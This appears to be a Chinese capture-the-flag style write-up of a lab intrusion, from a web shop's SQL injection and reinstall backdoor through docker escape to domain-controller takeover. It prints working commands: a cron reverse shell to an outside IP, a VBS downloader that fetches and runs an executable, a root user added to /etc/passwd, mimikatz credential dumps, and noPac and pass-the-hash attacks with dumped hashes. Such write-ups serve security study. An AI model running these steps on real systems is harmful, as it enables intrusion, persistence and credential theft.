从外网打点到渗透内网域控NASA
从外网打点到渗透内网域控NASA
一.项目简介
项目任务
操作系统包括 linux windows。提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。
涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技能。
网络拓扑图
二.外网打点
首先我们拿到目标之后,可以看到是一个优惠券商城。
1.端口扫描
首先,我们先进行端口扫描:
sudo masscan -p 1-65535 8.140.241.113 --rate=500
我这里什么结果都没有扫描出来,接下来利用nmap继续扫描,
nmap -sT -Pn 8.140.241.113 -v
结果如下:
red open port 80/tcp on 8.140.241.113
Discovered open port 22/tcp on 8.140.241.113
Increasing send delay for 8.140.241.113 from 0 to 5 due to 11 out of 16 dropped probes since last increase.
Completed Connect Scan at 19:49, 53.95s elapsed (1000 total ports)
Nmap scan report for 8.140.241.113
Host is up (0.052s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 54.06 seconds
只扫出来22、80、3306三个端口,没有什么突破,我们接着往下看。
2.目录扫描
我们用工具扫描目录后发现了一些路径,这里用御剑进行扫描
扫出来的东西还是相当多的,我总结了以下几个比较有用的目录|
http://8.140.241.113/admin/webadmin.php?mod=do&act=login
http://124.223.169.73/install/
这里拿到后台,抓登录的包然后发送到repeater重发
返回包为unicode字符,进行解码后发现是帐号或密码错误,但是我们连续发送几次后都是这个返回值,当我们故意修改验证码时返回值如下\u9a8c\u8bc1\u7801\u9519\u8bef,解码为验证码错误,故验证码可以复用,即我们可以进行爆破。
我们利用zgjx6/SocialEngineeringDictionaryGenerator: 社会工程学密码生成器,是一个利用个人信息生成密码的工具 (github.com)的项目进行社工密码生成,由于项目的名字叫nasa,故名字叫nasa,生成密码后进行爆破。
得到密码nasa123,登录后可以进入后台。
3.代码审计
上面是通过社工获取密码,针对的是弱口令相关,如果用户用高强度的密码,这种方式基本失败。所以还是将重点放在挖掘漏洞这方面。
观察上述红框信息可以发现是逍遥商城系统,是个开源系统,可以去网上下载源码进行审计。
下面是一些审计的过程。
3.1 支付时存在sql注入
module\mobile_user\back.php
$order_id = trim( $_REQUEST['order_id'] );
$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');
上图在处理order_id时只是简单进行了拼接,并没有进行任何过滤的操作,因此存在sql注入,我们在复现时要注意只有手机端的程序才存在该漏洞,我们用User-Agent Switcher进行标识头伪装,然后我们再次刷新页面发现来到了手机端。
按照源码的传参,我们构造出如下url:http://8.140.241.113/user.php?mod=back&act=dohuishou&order_id=1 ,
unicode解码后得到订单不存在,接下来构造payload,
得到不同结果,接下来交给sqlmap即可
3.2 找回密码时存在sql注入
public\function\global.func.php
这里由于开启了gpc,好多的请求都自动过滤了,但是$_SERVER并不会。
function pe_ip()
{
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$realip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$realip = $_SERVER["REMOTE_ADDR"];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")){
$realip = getenv("HTTP_X_FORWARDED_FOR");
} else if (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
$ip_arr = explode(',', $realip);
return $ip_arr[0];
}
接下来找哪里调用该函数
public/function/global.func.php
$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
这里是找回密码发送邮箱的代码,但是我们这里没有设置邮箱的服务器,故而没有办法复现。
3.3 任意文件删除漏洞
admin/module/db.php
case 'del':
//pe_error('演示站未开启删除权限');
pe_token_match();
pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");
pe_success('删除完成!');
break;
这里调用pe_dirdel函数,跟踪
//删除文件夹
function pe_dirdel($dir_path)
{
if (is_file($dir_path)) {
unlink($dir_path);
}
else {
$dir_arr = glob(trim($dir_path).'/*');
if (is_array($dir_arr)) {
foreach ($dir_arr as $k => $v) {
pe_dirdel($v, $type);
}
}
@rmdir($dir_path);
}
}
如果是文件直接删除,如果是文件夹遍历删除。
3.4 任意文件配合重装GETSHELL
install/index.php
if (is_file("{$pe['path_root']}install/install.lock"))
die('逍遥商城系统已经安装成功,如需再次安装请删除./install/install.lock 文件');
这里会进行判断是否进行重装。
我们删除了改文件后就可以进行删除,然后再继续审计
default :
$menucss_1 = "sel";
if (is_file("{$pe['path_root']}install/install.lock")) die('逍遥商城系统已经安装成功,如需再次安装请删除 ./install/install.lock 文件');
if (isset($_p_pesubmit)) {
$db = new db($_p_db_host, $_p_db_user, $_p_db_pw, $_p_db_name, 'utf8', false);
$result = $db->connect($_p_db_host, $_p_db_user, $_p_db_pw);
if ($result != 'success') pe_error($result);
$result = $db->select_db($_p_db_name, 'utf8');
if ($result != 'success') {
$db->query("CREATE DATABASE `{$_p_db_name}` DEFAULT CHARACTER SET utf8");
$result = $db->select_db($_p_db_name, 'utf8');
}
if ($result != 'success') pe_error($result);
$sql_arr = explode('/*#####################@ pe_cutsql @#####################*/', file_get_contents("{$pe['path_root']}install/xiaoyao.sql"));
foreach ($sql_arr as $v) {
$result = $db->query(trim(str_ireplace('{dbpre}', $_p_dbpre, $v)));
}
if ($result) {
$db->query("update `{$_p_dbpre}admin` set `admin_name` = '{$_p_admin_name}', `admin_pw` = '".md5($_p_admin_pw)."' where `admin_id`=1", $dbconn);
$config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo_safe'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";
file_put_contents("{$pe['path_root']}config.php", $config);
pe_goto("{$pe['host_root']}install/index.php?step=success");
}
else {
pe_error('数据库安装失败!');
}
}
这里写数据表前缀时可以留下后门。
组合拳如下:
首先删除文件
我们现在访问 /install时,会提示要删除 ./install/install.lock文件才可以重装
我们在后台找到一处删除文件的功能点,抓包,改dbname==../../install/install.lock,删除该文件,得到200ok,再次刷新上述/install的url,成功进入到重装页面。
我们可以根据上述sql注入漏洞用sqlmap跑出结果然后进行填写。
如下:
安装成功,然后我们访问config.php,即可
没有报错,有戏。
然后我们用菜刀连接,成功
然后我们可以用菜刀上传新的蚁剑后门,然后将config.php的后门清除一下。
三、Ubuntu主机提权
虽然我们成功获取shell,但是我们权限还是比较低的,我们接下来进行提权操作。
1. 上传信息收集脚本
我们上传了LinEnum脚本并进行执行,得到如下结果。
可以看到存在suid提权并且我们现在是docker环境还需要逃逸。
2. suid提权
利用find提权成功。
3.反向代理msf
我们在vps和kail端分别配置frp,这里不再叙述,然后我们用kail生成后门文件,上传到webshell,然后在webshell上执行即可。
已经是管理员身份。
4.创建linux root用户
openssl passwd -1 -salt moonsec 123456
生成一个用户名moonsec 密码123456账户的hash,然后将生成的写到/etc/passwd中,即可
echo 'moonsec:$1$moonsec$Zo8rbBypEa7Gt6vL8qy841:0:0:root:/root:/bin/bash' >> /etc/passwd
5. docker逃逸
现在还是在docker内,下面进一步逃逸。
在docker如果启动的时候 --privileged=true 是可以逃逸的。挂载宿主硬盘到test。
创建目录
mkdir /test
将宿主的目录挂载到test目录
mount /dev/sda1 /test
改变根目录为 /test
chroot /test
6. 创建反弹shell
主机上添加反弹shell的定时任务,然后vps端接收即可。
echo '/bin/bash -i >& bash -i >&/dev/tcp/103.117.138.252/23333 0>&1' >/tmp/sec.sh
chmod +x /tmp/sec.sh
cat /tmp/sec.sh
echo '*/1 * * * * root bash /tmp/sec.sh' >>/etc/crontab
然后vps端
nc -lnvp 23333
8. 宿主ubuntu msf后门
用python开启http服务,下载执行后门后,即可成功上线
四. 内网横向
1. msf设置代理扫描.
添加路由
run get_local_subnets
run autoroute -s 192.168.59.0/255.255.255.0
run autoroute -p
启动代理 使用VERSION 5
background
use auxiliary/server/socks_proxy
run
设置 kali 的 /etc/proxychains4.conf 文件
sudo vi /etc/proxychains4.conf
添加 socks5 127.0.0.1 1080
这时候我们就可以利用代理进行扫描
sudo proxychains4 nmap -sT -Pn 192.168.174.0/24 -p 445,80,443
没什么有用的东西,上传fscan继续扫描
得到3个主机,分别是135 136 137,137是外网web服务器,并且剩下的两个都存在MS17-010漏洞,即永恒之蓝。
2.永恒之蓝攻击
在这里利用失败。
3. iis6.0 溢出攻击获得权限
这里我也不知道师傅们是怎么找到这个漏洞的,如果实在是找不到漏洞了可以尝试在边缘主机上搭一个代理然后使用 nessus 进行扫描说不定会有意外收获。
kail中执行下述命令
proxychains4 python2 ii6.py 192.168.174.136 80 8.130.68.82 8889
然后我们在云服务器端监听,成功获得shell
我们这里再下载msf木马或者其他c2木马,进行上线。
msfvenom -p windows/meterpreter/reverse_tcp lhost=8.130.68.82 lport=7777 -f exe -o 1.exe
我们 cd 到Temp这个目录,其他目录可能不能写入,这个目录默认是可以写入的
cd C:\WINDOWS\Temp\
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs
cscript downfile.vbs http://8.130.68.82:8000/3.exe 3.exe
得到2003主机并获取系统权限。
4.win2003主机信息收集
抓取hash
通过kiwi抓取明文密码
load kiwi
kiwi_cmd sekurlsa::logonPasswords
ipconfig
发现10.10.10.0/24网段
内网主机
我们这里上传nbtscan工具进行扫描
C:\zzz>nbtscan -r 10.10.10.0/24
nbtscan -r 10.10.10.0/24
10.10.10.0 Sendto failed: No error
Warning: -r option not supported under Windows. Running without it.
Doing NBT name scan for addresses from 10.10.10.0/24
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
10.10.10.1 W10ZJ-2020PWKVD <unknown> 00-50-56-c0-00-13
10.10.10.137 WIN2003 <server> <unknown> 00-0c-29-e8-dd-45
10.10.10.140 AD01 <server> <unknown> 00-0c-29-a3-b3-ec
10.10.10.141 AD02 <server> <unknown> 00-0c-29-d9-66-fd
10.10.10.142 WIN7 <server> <unknown> 00-0c-29-e8-44-f8
发现ad01 ad02
5. smb 用户批量爆破
上面我们获得了明文密码admin555,而在域中经常出现密码复用的情况,因此我们在这里考虑爆破。
这里使用scanner/smb/smb_login脚本,需要注意的是还要配一个用户名列表。
设定好登录ip,即可进行爆破,但是这种方式动静可能会比较大。
拿到win7的用户名和密码
6. psexec拿shell
利用exploit/windows/smb/psexec模块失败。
下面尝试利用, windows/smb/ms17_010_psexec 模块登录。
利用成功,获取shell。
7.win7信息收集
我们在这里直接用wiki可能会报错,因为我们利用上述模块会在一个x86的进程中创建我们的shell,我们只需要把进程迁移到一个x64的进程即可,报错也有相关提示。
我们继续kiwi_cmd sekurlsa::logonPasswords
成功抓取到一个域用户的明文密码。
8. CVE-2021-42278 and CVE-2021-42287 攻击域控
项目下载地址:https://github.com/Ridter/noPac
运行下列命令抓取hash
proxychains4 python3 noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.141 -dc-host AD02 --impersonate administrator -use-ldap -dump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
接下来用impacket-master的psexec获取shell,成功拿下,ad01的操作也与此类似,不再记录。
proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.141
如果我们想要连上msf的话,直接下载执行木马就可以。